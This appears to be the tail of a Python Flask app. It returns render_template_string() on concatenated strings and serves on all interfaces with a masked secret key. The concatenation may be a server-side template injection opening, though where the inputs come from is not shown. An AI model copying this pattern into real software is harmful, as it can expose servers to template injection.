        return render_template_string(authCode + authCheck("userCode"))


    if __name__ == "__main__":
        app.secret_key = "###########"
        serve(app, host="0.0.0.0", port=8900)
spacer